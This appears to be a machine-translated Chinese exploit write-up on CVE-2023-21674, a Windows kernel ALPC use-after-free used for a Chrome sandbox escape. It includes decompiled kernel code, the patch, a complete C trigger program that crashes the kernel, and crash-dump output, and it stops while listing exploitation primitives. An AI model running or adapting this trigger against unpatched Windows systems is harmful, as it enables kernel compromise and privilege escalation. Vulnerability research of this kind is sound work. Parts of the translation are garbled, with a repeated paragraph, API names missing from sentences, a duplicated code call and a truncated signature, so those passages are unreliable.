这篇博文是关于我们在 X 上演示的 N-day全链漏洞利用中使用的漏洞的第二个系列。在这篇博文中,我们将介绍我们如何通过利用 Windows 内核漏洞来逃脱 Chrome 沙盒。该漏洞名为 CVE-2023–21674,是 NTOS 内核中的释放后使用漏洞。
该漏洞是 2023 年首个 Windows 内核 In-The-Wild 漏洞。自 2023 年 1 月以来,我们的威胁情报服务 Fermium-252 既有 PoC 又有利用此漏洞的机会。
高级本地过程调用(ALPC)
高级本地过程调用 (ALPC) 是为快速消息通信而开发的进程间通信功能。它自 Windows Vista 以来一直发布,主要用于在进程之间发送和接收数据。在ALPC之前,旧的Windows NT内核使用同步进程间通信,因此服务器和客户端必须等待消息。但是,ALPC支持异步通信,因此有时称为异步LPC。
大多数ALPC API都是没有文档的,但你可以参考csandker-Blog和Garnier-Reccon2008等分析文档。
在Windows中,有许多ALPC端口;它们可以通过 列出。
ALPC 端口通常由 创建,并由其他进程通过 连接,并通过 接受客户端。建立连接后,消息将通过 传递。所以ALPC通信的整体流程如下。
ALPC 端口通常由 创建,并由其他进程通过 连接,并通过 接受客户端。建立连接后,消息将通过 传递。所以ALPC通信的整体流程如下。
您可以从这里查看简单的ALPC服务器和客户端代码
The Flag ALPC_MSGFLG_SYNC_REQUEST
该标志 ALPC_MSGFLG_SYNC_REQUEST(0x20000)
是漏洞的最重要值。从名称中可以推断出,它决定了是否同步处理ALPC消息。
要了解ALPC的消息流,让我们从 NtAlpcSendWaitReceivePort
系统调用开始。
__int64 __fastcall NtAlpcSendWaitReceivePort(HANDLE Handle, ULONG flag, _PORT_MESSAGE *SendMessage, _ALPC_MESSAGE_ATTRIBUTES *SendMessageAttributes, _PORT_MESSAGE *ReceiveMessage, PSIZE_T BufferLength, _ALPC_MESSAGE_ATTRIBUTES *ReceiveMessageAttributes, PLARGE_INTEGER Timeout)
{
...
result = ObReferenceObjectByHandle(Handle, 1u, AlpcPortObjectType, prev_mode, (PVOID *)&alpc_port_object, 0i64);
if ( result >= 0 )
{
...
if ( _bittest((const int *)&flag_and, 0x11u) )// ALPC_MSGFLG_SYNC_REQUEST(0x20000)
{
if ( SendMessage )
{
// Check Some flags
if ( _bittest((const int *)&flag_and, 0x10u) )// ALPC_MSGFLG_RELEASE_MESSAGE(0x10000)
{
result = 0xC00000F0;
}
else if ( _bittest((const int *)&flag_and, 0x18u) ) // 0x1000000
{
result = 0xC00000F0;
}
else if ( ReceiveMessage )
{
// Both of `SendMessage` and `ReceiveMessage` must exist.
result = AlpcpProcessSynchronousRequest(
alpc_port_object, flag_and, SendMessage, SendMessageAttributes,
ReceiveMessage, BufferLength, ReceiveMessageAttributes, Timeout, prev_mode);
}
else
{
result = 0xC0000705;
}
}
else
{
result = 0xC00000F0;
}
}
else
{
dispatchContext.PortObject = alpc_port_object;
dispatchContext.Flags = flag_and;
if ( !SendMessage )
{
if ( ReceiveMessage )
// Receive Message via calling AlpcpReceiveMessage
}
if ( _bittest((const int *)&flag_and, 0x18u) ) // 0x1000000
{
result = 0xC00000F0;
}
else
{
// Send Message via calling AlpcpSendMessage
}
}
}
...
}
NtAlpcSendWaitReceivePort
从用户提供的句柄中检索 ALPC 对象 ( alpc_port_object
),并根据 flag
获取不同的分支。设置标志后,发送和接收消息都必须通过函数 AlpcpProcessSynchronousRequest
连续完成;在这种情况下,两者都 SendMessage
不应该 ReceiveMessage
是 NULL
.另一方面,当未设置标志时,用户一次只能执行一项任务,根据 和 SendMessage
ReceiveMessage
参数的存在发送或接收消息。
__int64 __fastcall AlpcpProcessSynchronousRequest(_ALPC_PORT *alpc_port_object, unsigned int flag_and, _PORT_MESSAGE *SendMessage, _ALPC_MESSAGE_ATTRIBUTES *SendMessageAttributes, _PORT_MESSAGE *ReceiveMessage, PSIZE_T BufferLength, _ALPC_MESSAGE_ATTRIBUTES *ReceiveMessageAttributes, PLARGE_INTEGER timeout, int prev_mode)
{
...
/*
[1]. Check Address and Get Port Objects
~~~ Omitted ~~~
*/
if ( ConnectionPort && ObReferenceObjectSafe((__int64)ConnectionPort) )
{
u1State = alpc_port_object->u1.State;
...
// [2].Send message
dispatchContext.PortObject = alpc_port_object;
dispatchContext.Flags = flag_and;
if ( (u1State & 0x1000) != 0 )
result = AlpcpSendLegacySynchronousRequest(alpc_port_object, &dispatchContext, SendMessage, prev_mode);
else
result = AlpcpSendMessage(&dispatchContext, SendMessage, SendMessageAttributes, prev_mode);
if ( result < 0 )
goto LABEL_95;
if ( _bittest((const int *)&flag_and, 0x14u) )
{
prevmode = 1;
}
else
{
prevmode = KeGetCurrentThread()->PrevMode;
}
RecvMesssage = 0i64;
dispatchContext.PortObject = ConnectionPort;
// [3].Receive message
result = AlpcpReceiveSynchronousReply(
&dispatchContext.PortObject,
v34,
(_KALPC_MESSAGE **)&RecvMesssage,
AllocAttr,
timeout);
// Copy the Received Data
AlpcpProcessSynchronousRequest
在验证参数 ( [1]
) 的地址后检索 ALPC 端口对象。然后,它发送ALPC消息( [2]
)并通过( )同步接收响应 AlpcpReceiveSynchronousReply
[3]
。
让我们来 AlpcpSendMessage
分析一下发送消息的过程。( AlpcpSendLegacySynchronousRequest
也可在内部调用 AlpcpSendMessage
。
__int64 __fastcall AlpcpSendMessage(_ALPC_DISPATCH_CONTEXT *dispatchContext, _PORT_MESSAGE *sendPortMsg, _ALPC_MESSAGE_ATTRIBUTES *sendMsgAttributes, char accessMode)
{
...
// Copy the user message to `copied_sendMsg`
// [4]. Validate the message
result = AlpcpValidateMessage((unsigned __int16 *)&copied_sendMsg, flags_check);
if ( (int)result < 0 )
return result;
MessageID = copied_sendMsg.MessageId;
...
// [5]. Get Message or Create Message
if ( MessageID )
{
dispatch_ctx_flag |= 0x10u;
result = AlpcpLookupMessage(port_obj, MessageID, copied_sendMsg.CallbackId, accessMode, &alpc_message);
...
// Validate `alpc_message`
}
else{
...
// nt!AlpcpAllocateMessageFunction4
object = (PSLIST_ENTRY)qword_140CEBC70(dword_140CEBC64, dword_140CEBC6C, dword_140CEBC68);
if ( !object )
return 3221225626i64;
alpc_message_ = (_KALPC_MESSAGE *)(object + 48);
...
// Setup the Data for `alpc_message`
}
// [6]. Dispatch Message
dispatchContext->Message = alpc_message_;
dispatchContext->TotalLength = copied_sendMsg.u1.s1.TotalLength;
*(_DWORD *)&dispatchContext->Type = copied_sendMsg.u2.ZeroInit;
if ( alpc_message_->OwnerPort )
{
// The message is found by `AlpcpLookupMessage`
if ( alpc_message_->WaitingThread )
result = AlpcpDispatchReplyToWaitingThread(dispatchContext);
else
result = AlpcpDispatchReplyToPort(dispatchContext);
}
else
{
// The message is newly created
result = AlpcpDispatchNewMessage(dispatchContext);
}
}
AlpcpSendMessage
首先将用户消息复制到内核内存中,并通过 AlpcpValidateMessage
( [4]
) 进行验证。如果消息有 MessageID
,则对 执行查找 MessagedID
以检索相应的消息对象。否则,将创建一个新的 ALPC 消息对象 ( [5]
)。
然后,在 [6]
处,消息由 AlpcpDispatchReplyToWaitingThread
、 AlpcpDispatchReplyToPort
或 AlpcpDispatchNewMessage
处理,具体取决于消息中的字段。这些功能以类似的方式处理 ALPC_MSGFLG_SYNC_REQUEST
,而其他处理部件可能不同。
下面是 ALPC_MSGFLG_SYNC_REQUEST
. 的处理程序的简化代码。
// Setup message and Insert message into QUEUE
// The common routine for `ALPC_MSGFLG_SYNC_REQUEST` Flag
curthread = (struct _ETHREAD *)KeGetCurrentThread();
if(flag & 0x20000 != 0) // ALPC_MSGFLG_SYNC_REQUEST
{
message->WaitingThread = curthread;
_InterlockedExchange64((volatile __int64 *)&curthread->AlpcMessageId, (__int64)message);
}
设置标志后 ALPC_MSGFLG_SYNC_REQUEST
, WaitingThread
在消息中设置为当前线程对象, AlpcMessageId
当前线程设置为消息的地址。由于消息将同步处理,因此响应的目标线程必须是当前线程。
另一方面,如果发送的消息没有 ALPC_MSGFLG_SYNC_REQUEST
标志, WaitingThread
则初始化为 NULL
如以下代码所示。
__int64 __fastcall AlpcpDispatchReplyToWaitingThread(_ALPC_DISPATCH_CONTEXT *dispatchContext)
{
...
portQueue = message->PortQueue;
if ( portQueue ){
// Remove message from port Queue
}
...
// ALPC_MSGFLG_SYNC_REQUEST is NOT set
if ( (flags & 0x20000) == 0 )
{
message->WaitingThread = NULL;
...
}
}
发送消息后 AlpcpSendMessage
, AlpcpReceiveSynchronousReply
调用( [3]
)来获取响应。 [3]
(位于本博客的顶部。
__int64 __fastcall AlpcpReceiveSynchronousReply(
_ALPC_DISPATCH_CONTEXT *dispatchContext,
KPROCESSOR_MODE prevmode,
_KALPC_MESSAGE **recvMsg,
int AllocatedAttributes,
PLARGE_INTEGER timeout)
{
CurrentThread = KeGetCurrentThread();
PortObject = dispatchContext->PortObject;
// [7]. Blocking while receiving
result = AlpcpSignalAndWait(dispatchContext, &CurrentThread->1160, WrLpcReply, prevmode, timeout, 1);
// [8]. Get Message and Nullify AlpcMessageId
message = (_KALPC_MESSAGE *)_InterlockedExchange64((volatile __int64 *)&CurrentThread->AlpcMessageId, 0i64);
msgState = message->u1.State & 0xFFFFFFF8;
...
// Check Message State
if ( result_ != NT_SUCCESS )
{
// Something ERROR
if ( message->WaitingThread == CurrentThread )
{
// [9]. Initialize the WaitingThread to NULL
message->WaitingThread = 0i64;
--WORD1(message[-1].PortMessage.DoNotUseThisField);
if ( (message->u1.State & 0x80u) != 0 )
AlpcpUnlockMessage((ULONG_PTR)message);
else
AlpcpCancelMessage(port_obj, message, 0);
return result_;
}
AlpcpWaitForSingleObject(&CurrentThread->1160, WrLpcReply, 0, 0, 0i64);
v15 = message->u1.State;
result_ = 0;
}
...
// [10]. Check that Message is Ready
if ( _bittest((const int *)&msgState, 9u) )
{
msgAttr = (message->MessageAttributes.SecurityData != 0i64 ? 0x80000000 : 0) | 0x40000000;
if ( !message->MessageAttributes.View )
msgAttr = message->MessageAttributes.SecurityData != 0i64 ? 0x80000000 : 0;
if ( !message->MessageAttributes.HandleData )
msgAttr = msgAttr;
else
msgAttr = msgAttr | 0x10000000;
if ( (msgAttr & AllocatedAttributes) == 0 )
{
message->PortMessage.u2.s2.Type &= 0xDFFFu;
*recvMsg = message;
return result_;
}
}
...
}
AlpcpReceiveSynchronousReply
通过调用 AlpcpSignalAndWait
等待响应,并且调用线程被阻塞。当另一个进程发送消息的响应时, WaitingThread
消息的响应将根据回复进程的标志值 ( [7]
) 进行更新。如果进程回复时没有标志, ALPC_MSGFLG_SYNC_REQUEST
则 WaitingThread
消息将更改为 NULL
如上所述;否则,它将是回复线程的地址。
返回后 AlpcpSignalAndWait
,检索当前线程的消息 AlpcMessageId
对象,并将该 AlpcMessageId
字段无效 ( [8]
)。如果 AlpcpSignalAndWait
由于某些原因(如超时)返回任何错误,则消息的 result
will not be NT_SUCCESS
和 WaitingThread
将保持不变。在本例中, WaitingThread
消息设置为 NULL
( [9]
)。
如果成功接收到消息, AlpcpReceiveSynchronousReply
则检查消息的状态并验证其属性 ( [10]
)。当所有检查都通过时,将返回消息以复制到用户内存中。
总而言之,在 AlpcpReceiveSynchronousReply
函数的末尾, AlpcMessageId
当前线程将更改为 NULL
,消息 WaitingThread
将具有 或 NULL
回复线程。
在上述情况下, WaitingThread
如果通信完成且没有任何错误,则消息和 AlpcMessageId
当前线程都将始终 NULL
存在。
但是,让我们考虑另一种情况,其中只有 Thread1
并且在发送带有 ALPC_MSGFLG_SYNC_REQUEST
set 的 ALPC 消息后立即返回。然后 WaitingThread
,消息指向当前线程。在这种情况下,如果 Thread1
被终止(即,它被释放),则 WaitingThread
消息将是一个悬空的指针,指向释放的线程对象。因此,之后取消引用它将导致释放后使用漏洞。
这是 CVE-2023–21674 的根本原因,可以从系统调用 NtWaitForWorkViaWorkerFactory
触发。
__int64 __fastcall NtWaitForWorkViaWorkerFactory(HANDLE Handle, struct _FILE_IO_COMPLETION_INFORMATION *MiniPackets, unsigned int Count, _DWORD *PacketsReturned, struct _WORKER_FACTORY_DEFERRED_WORK *DeferredWork)
{
...
DeferredWork_ = DeferredWork;
...
if ( (DeferredWork_.Flags & 1) != 0 )
{
sendPortMsg = DeferredWork_.AlpcSendMessage;
sendMessageFlags = DeferredWork_.AlpcSendMessageFlags;
sendMessagePort = DeferredWork_.AlpcSendMessagePort;
memset(&dispatch_ctx, 0, sizeof(dispatch_ctx));
sendMessageFlags_and = sendMessageFlags & 0xFFFF0000;
...
if ( ObReferenceObjectByHandle(sendMessagePort, 1u, AlpcPortObjectType, v121, (PVOID *)&alpc_port, 0i64) >= 0 )
{
if ( _bittest((const int *)&sendMessageFlags_and, 0x12u) )
{
...
dispatch_ctx.PortObject = alpc_port;
dispatch_ctx.Flags = sendMessageFlags_and | 4;
dispatch_ctx.TargetPort = 0i64;
dispatch_ctx.TargetThread = 0i64;
dispatch_ctx.DirectEvent.Value = 0i64;
result = AlpcpSendMessage(&dispatch_ctx, sendPortMsg, 0i64, v121)
...
}
NtWaitForWorkViaWorkerFactory
将用户提供的 DeferredWork
参数作为最后一个参数,由 _WORKER_FACTORY_DEFERRED_WORK
结构表示。
// https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntexapi.h#L1217
typedef struct _WORKER_FACTORY_DEFERRED_WORK
{
struct _PORT_MESSAGE *AlpcSendMessage;
PVOID AlpcSendMessagePort;
ULONG AlpcSendMessageFlags;
ULONG Flags;
} WORKER_FACTORY_DEFERRED_WORK, *PWORKER_FACTORY_DEFERRED_WORK;
_WORKER_FACTORY_DEFERRED_WORK
具有指向 ALPC 消息的指针和标志。因此,我们可以通过 NtWaitForWorkViaWorkerFactory
调用 ALPC_MSGFLG_SYNC_REQUEST
set 来触发漏洞。
CVE-2023–21674 补丁
__int64 __fastcall NtWaitForWorkViaWorkerFactory(HANDLE Handle, struct _FILE_IO_COMPLETION_INFORMATION *MiniPackets, unsigned int Count, _DWORD *PacketsReturned, struct _WORKER_FACTORY_DEFERRED_WORK *DeferredWork)
{
...
DeferredWork_ = DeferredWork;
...
if ( (DeferredWork_.Flags & 1) != 0 )
{
sendPortMsg = DeferredWork_.AlpcSendMessage;
sendMessageFlags = DeferredWork_.AlpcSendMessageFlags;
sendMessagePort = DeferredWork_.AlpcSendMessagePort;
memset(&dispatch_ctx, 0, sizeof(dispatch_ctx));
sendMessageFlags_and = sendMessageFlags & 0xFFFF0000;
+ if ( _bittest((const int *)&sendMessageFlags_and, 0x11u) ) // checks ALPC_MSGFLG_SYNC_REQUEST
+ goto ERROR;
...
if ( ObReferenceObjectByHandle(sendMessagePort, 1u, AlpcPortObjectType, v121, (PVOID *)&alpc_port, 0i64) >= 0 )
{
if ( _bittest((const int *)&sendMessageFlags_and, 0x12u) )
{
...
dispatch_ctx.PortObject = alpc_port;
dispatch_ctx.Flags = sendMessageFlags_and | 4;
dispatch_ctx.TargetPort = 0i64;
dispatch_ctx.TargetThread = 0i64;
dispatch_ctx.DirectEvent.Value = 0i64;
result = AlpcpSendMessage(&dispatch_ctx, sendPortMsg, 0i64, v121)
...
}
补丁非常简单。如果 AlpcSendMessageFlags
值包括 ALPC_MSGFLG_SYNC_REQUEST
,则 NtWaitForWorkViaWorkerFactory
将返回错误。
触发漏洞
要触发该漏洞,我们应该通过 NtWaitForWorkViaWorkerFactory
发送 ALPC 消息。
// https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntexapi.h#L1225
NTSYSCALLAPI
NTSTATUS
NTAPI
NtWaitForWorkViaWorkerFactory(
_In_ HANDLE WorkerFactoryHandle,
_Out_writes_to_(Count, *PacketsReturned) struct _FILE_IO_COMPLETION_INFORMATION *MiniPackets,
_In_ ULONG Count,
_Out_ PULONG PacketsReturned,
_In_ struct _WORKER_FACTORY_DEFERRED_WORK* DeferredWork
);
如上面的函数定义所示,我们需要一个对象句 WorkerFactory
柄。可以通过调用 NtCreateWorkerFactory
来创建此对象。
NTSTATUS NtCreateWorkerFactory(
_Out_ PHANDLE WorkerFactoryHandleReturn,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE CompletionPortHandle, // We need CompletionPortHandle
_In_ HANDLE WorkerProcessHandle,
_In_ PVOID StartRoutine,
_In_opt_ PVOID StartParameter,
_In_opt_ ULONG MaxThreadCount,
_In_opt_ SIZE_T StackReserve,
_In_opt_ SIZE_T StackCommit
);
若要通过 NtCreateWorkerFactory
系统调用成功创建 WorkerFactory
对象,还需要 IoCompletion
对象句柄。可以通过以下方式 NtCreateIoCompletion
创建它。
NTSTATUS NtCreateIoCompletion(
OUT PHANDLE IoCompletionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN ULONG
最后,我们可以创建一个如下所示 WorkerFactory
的对象。
ntstatus = NtCreateIoCompletion(&hIoComp, GENERIC_ALL, NULL, 1);NtCreateIoCompletion(&hIoComp, GENERIC_ALL, NULL, 1);
if (ntstatus != 0) {
printf("[-] NtCreateIoCompletion ERROR : %pn", ntstatus);
return -1;
}
printf("[+] IO_COMPLETION_HANDLE : %pn", hIoComp);
ntstatus = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hIoComp, GetCurrentProcess(), NULL, NULL, 0, 0, 0);
if (ntstatus != 0) {
printf("[-] NtCreateWorkerFactory ERROR : %pn", ntstatus);
return -1;
}
printf("[+] WORKER_FACTORY_HANDLE : %pn", hWorkerFactory);
接下来,我们需要一个ALPC端口句柄。 NtAlpcCreatePort
需要像 这样的 RPC ControlTest
ALPC 端口名称,但我们也可以通过传递 NULL
来 ObjectAttributes
创建一个匿名端口。
RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));
serverPortAttr.MaxMessageLength = MAX_MSG_LEN; // For ALPC this can be max of 64KB
serverPortAttr.Flags = 0x20000;
// NtAlpcCreatePort (_Out_ PHANDLE PortHandle, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes)
ntstatus = NtAlpcCreatePort(&hPort, NULL, &serverPortAttr);
if (ntstatus != 0) {
printf("[-] NtAlpcCreatePort ERROR : %pn", ntstatus);
return -1;
}
printf("[+] ALPC_PORT : %pn", hPort);
最后,我们准备通过使用适当的参数调用 NtWaitForWorkViaWorkerFactory
系统调用来触发漏洞。
LPVOID CreateMsgMem(PPORT_MESSAGE PortMessage, SIZE_T MessageSize, LPVOID Message)
{
/*
It's important to understand that after the PORT_MESSAGE struct is the message data
*/
LPVOID lpMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MessageSize + sizeof(PORT_MESSAGE));
memmove(lpMem, PortMessage, sizeof(PORT_MESSAGE));
memmove((BYTE*)lpMem + sizeof(PORT_MESSAGE), Message, MessageSize);
return(lpMem);
}
int trigger() {
NTSTATUS ntstatus;
ULONG outlen = 0;
ntstatus = NtCreateIoCompletion(&hIoComp, GENERIC_ALL, NULL, 1);
if (ntstatus != 0) {
printf("[-] NtCreateIoCompletion ERROR : %pn", ntstatus);
return -1;
}
printf("[+] IO_COMPLETION_HANDLE : %pn", hIoComp);
ntstatus = NtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hIoComp, GetCurrentProcess(), NULL, NULL, 0, 0, 0);
if (ntstatus != 0) {
printf("[-] NtCreateWorkerFactory ERROR : %pn", ntstatus);
return -1;
}
printf("[+] WORKER_FACTORY_HANDLE : %pn", hWorkerFactory);
PORT_MESSAGE pmSend;
LPVOID lpMem;
ALPC_PORT_ATTRIBUTES serverPortAttr;
RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));
serverPortAttr.MaxMessageLength = MAX_MSG_LEN; // For ALPC this can be max of 64KB
serverPortAttr.Flags = 0x20000;
ntstatus = NtAlpcCreatePort(&hPort, NULL, &serverPortAttr);
if (ntstatus != 0) {
printf("[-] NtAlpcCreatePort ERROR : %pn", ntstatus);
return -1;
}
printf("[+] ALPC_PORT : %pn", hPort);
piocomp = (PFILE_IO_COMPLETION_INFORMATION)malloc(0x100);
pwfdw = (PWORKER_FACTORY_DEFERRED_WORK)malloc(0x100);
RtlSecureZeroMemory(&pmSend, sizeof(pmSend));
pmSend.u1.s1.DataLength = MSG_LEN;
pmSend.u1.s1.TotalLength = pmSend.u1.s1.DataLength + sizeof(pmSend);
pmSend.MessageId = 0;
pmSend.CallbackId = 0;
lpMem = CreateMsgMem(&pmSend, MSG_LEN, (LPVOID)L"AAAAAAAAAAAAAAAAAAA");
pwfdw->AlpcSendMessage = (PPORT_MESSAGE)lpMem;
pwfdw->AlpcSendMessagePort = hPort;
pwfdw->AlpcSendMessageFlags = (1 << 0x11); // ALPC_MSGFLG_SYNC_REQUEST
pwfdw->Flags = 0x1;
printf("[+] Trigger Vulnerabilityn");
NtWaitForWorkViaWorkerFactory(hWorkerFactory, piocomp, 1, &outlen, pwfdw);
return 0;
};
int main() {
// Create Thread
DWORD threadid = 0;
HANDLE hthread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)trigger, NULL, 0, &threadid);
//WaitForSingleObject(hthread, INFINITE);
Sleep(500);
TerminateThread(hthread, -1);
CloseHandle(hthread);
printf("[+] Close Some Handlesn");
CloseHandle(hWorkerFactory);
CloseHandle(hIoComp);
CloseHandle(hPort); // Trigger UAF
}
我们调用 NtWaitForWorkViaWorkerFactory
一个单独的线程,然后通过调用 TerminateThread
和 CloseHandle
来终止线程;这些步骤将创建一个ALPC消息对象,该对象在其 WaitingThread
字段中具有悬空指针。最终,关闭端口会对 ALPC 对象执行清理,从而取消对悬空指针 (UAF) 的引用。
__int64 __fastcall AlpcpCancelMessage(_ALPC_PORT *a1, _KALPC_MESSAGE *msg, int a3)
{
...
freed_thread = msg->WaitingThread;
if ( freed_thread )
{
// Freed thread is referenced here when the ALPC object is freed.
if ( (_KALPC_MESSAGE *)_InterlockedExchange64((volatile __int64 *)&freed_thread->AlpcMessageId, 0i64) == msg )
{
HIWORD(msg[-1].PortMessage.8) -= 2;
msg->WaitingThread = 0i64;
KeReleaseSemaphoreEx((__int64)&freed_thread->1160, 1u, 1, v20, 2);
}
}
...
}
0: kd> g
Breakpoint 0 hit
nt!AlpcpCancelMessage+0x353:
fffff801`4d8bc737 48878128050000 xchg rax,qword ptr [rcx+528h]
0: kd> !object @rcx
Object: ffffd38aa9d76080 Type: (ffff9901c3b7a000)
ObjectHeader: ffffd38aa9d76050 (new version)
HandleCount: 0 PointerCount: 0
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Ref Count is ZERO!!!!
0: kd> !pool @rcx
Pool page ffffd38aa9d76080 region is Nonpaged pool
*ffffd38aa9d76000 size: 700 previous size: 0 (Free ) *.... (Protected) Process: 4e48033601c30916
Owning component : Unknown (update pooltag.txt)
==> @rcx is freed
如果验证程序在 上 ntoskrnl.exe
启用,则可以看到崩溃。
*** Fatal System Error: 0x00000050
(0xFFFFE70E9EB60BA8,0x0000000000000002,0xFFFFF80766AC8737,0x0000000000000002)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff807`6680e840 cc int 3
1: kd> !analyze -v
Connected to Windows 10 19041 x64 target at (Mon Jan 16 20:18:10.078 2023 (UTC + 9:00)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
................................................................
............................................................
Loading User Symbols
......
Loading unloaded module list
......
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffe70e9eb60ba8, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the processor decided the fault was due to a corrupted PTE.
bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
- ARM64: bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff80766ac8737, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
...
TRAP_FRAME: ffffa701a41aa650 -- (.trap 0xffffa701a41aa650)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=0000000000000000 rbx=0000000000000000 rcx=ffffe70e9eb60680
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff80766ac8737 rsp=ffffa701a41aa7e0 rbp=0000000000000001
r8=00000000ffffffff r9=7fffe70e9eb667b8 r10=7ffffffffffffffc
r11=ffffa701a41aa8b0 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
nt!AlpcpCancelMessage+0x353:
fffff807`66ac8737 48878128050000 xchg rax,qword ptr [rcx+528h] ds:ffffe70e`9eb60ba8=????????????????
Resetting default scope
STACK_TEXT:
ffffa701`a41a9bf8 fffff807`669214a2 : ffffa701`a41a9d60 fffff807`66789a50 fffff807`6640c000 00000000`00000000 : nt!DbgBreakPointWithStatus
ffffa701`a41a9c00 fffff807`66920a86 : fffff807`00000003 ffffa701`a41a9d60 fffff807`6681c640 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
ffffa701`a41a9c60 fffff807`668053a7 : 00000000`00000000 00000000`00000000 ffffe70e`9eb60ba8 ffffe70e`9eb60ba8 : nt!KeBugCheck2+0x946
ffffa701`a41aa370 fffff807`6684021d : 00000000`00000050 ffffe70e`9eb60ba8 00000000`00000002 ffffa701`a41aa650 : nt!KeBugCheckEx+0x107
ffffa701`a41aa3b0 fffff807`66645a40 : 00000000`00000000 00000000`00000002 ffffa701`a41aa6d0 00000000`00000000 : nt!MiSystemFault+0x1dc7ad
ffffa701`a41aa4b0 fffff807`66814dd8 : ffffe70e`9e3b0000 fffff807`66702dcc ffffe70e`76b4ef80 ffffe70e`71215100 : nt!MmAccessFault+0x400
ffffa701`a41aa650 fffff807`66ac8737 : ffffd70c`f67eace0 ffffd70c`00000000 00000000`00000000 00000000`00000000 : nt!KiPageFault+0x358
ffffa701`a41aa7e0 fffff807`66ac64e1 : ffffffff`00000001 ffffe70e`9e70ee20 ffffe70e`00010000 ffffe70e`9e70ee20 : nt!AlpcpCancelMessage+0x353
ffffa701`a41aa860 fffff807`66ac624f : ffffffff`ffffffff ffffe70e`9e70ee20 ffffe70e`9e70ef80 ffffe70e`79760f00 : nt!AlpcpFlushQueue+0xfd
ffffa701`a41aa8a0 fffff807`66ac608b : ffffe70e`00000000 ffffffff`ffffffff ffffa701`a41aaa39 ffffe70e`9e70ef80 : nt!AlpcpFlushMessagesPort+0x27
ffffa701`a41aa8e0 fffff807`66ac5fca : ffffe70e`9e70ee20 00000000`00000000 ffffe70e`9eb66380 ffffa701`a41aaa39 : nt!AlpcpDoPortCleanup+0x8f
ffffa701`a41aa920 fffff807`66a101ef : ffffd70c`f2ccd2b0 00000000`00000000 ffffd70c`00000000 ffffd70c`f2ccd2b0 : nt!AlpcpClosePort+0x4a
ffffa701`a41aa950 fffff807`66a141cc : 00000000`000000ac 00000000`00000000 00000000`00000000 00000000`00000000 : nt!ObCloseHandleTableEntry+0x51f
ffffa701`a41aaa90 fffff807`66818af5 : ffffe70e`9eb60600 ffffe70e`7f4ae680 ffffa701`a41aab80 ffffe70e`00000000 : nt!NtClose+0xec
ffffa701`a41aab00 00007ffb`de2ed2a4 : 00007ffb`dbfe6575 00000000`00000000 00000000`00001b04 00000204`f3f78320 : nt!KiSystemServiceCopyEnd+0x25
000000a4`4bb7faf8 00007ffb`dbfe6575 : 00000000`00000000 00000000`00001b04 00000204`f3f78320 00000000`00000000 : ntdll!NtClose+0x14
000000a4`4bb7fb00 00007ff7`e4fe148f : 00007ff7`e4fe3558 00000000`00000000 000000a4`4bb7faf8 00000000`00000000 : KERNELBASE!CloseHandle+0x45
编写EXP
要利用此漏洞,我们需要找到一个使用位置 WaitingThread
。我们找到了几个,如 NtAlpcOpenSenderThread
、 NtAlpcOpenSenderProcess
、 AlpcpGetEffectiveTokenMessage
、 LpcpCopyRequestData
等。 WaitingThread
( 也用于发送消息,您可以使用该代码进行利用。但是,我们不会在此博客中介绍该部分。
__int64 __fastcall NtAlpcOpenSenderThread(
PHANDLE ThreadHandle,
HANDLE a2,
PPORT_MESSAGE a3,
bool a4,
int access_mask,
_OWORD *a6)
{
...
v14 = AlpcpLookupMessage((_ALPC_PORT *)DmaAdapter, Source2.MessageId, Source2.CallbackId, a4, &alpc_message);
if ( v14 < 0 ) { /* ERROR */ }
else
{
...
waiting_thread = alpc_message->WaitingThread;
if ( waiting_thread && RtlCompareMemory(&waiting_thread->Cid, &Source2.8, 0x10ui64) == 16 )
{
ObfReferenceObject(waiting_thread); // Reference
AlpcpUnlockMessage((ULONG_PTR)v17);
v14 = PsOpenThread((HANDLE *)phthread, access_mask, &object_attributes, &Source2.8, 0, PreviousMode);
DereferenceObject((PADAPTER_OBJECT)waiting_thread); // Dereference
...
}
__int64 __fastcall NtAlpcOpenSenderProcess(
PHANDLE ProcessHandle,
void *a2,
PPORT_MESSAGE a3,
__int64 a4,
ACCESS_MASK acess_mask,
__int128 *a6)
{
...
v14 = AlpcpLookupMessage((_ALPC_PORT *)DmaAdapter, Source2.MessageId, Source2.CallbackId, a4, &alpc_message);
if ( v14 < 0 ) { /* ERROR */ }
else
{
...
waiting_thread = alpc_message->WaitingThread;
if ( waiting_thread && RtlCompareMemory(&waiting_thread->Cid, &Source2.8, 0x10ui64) == 16 )
{
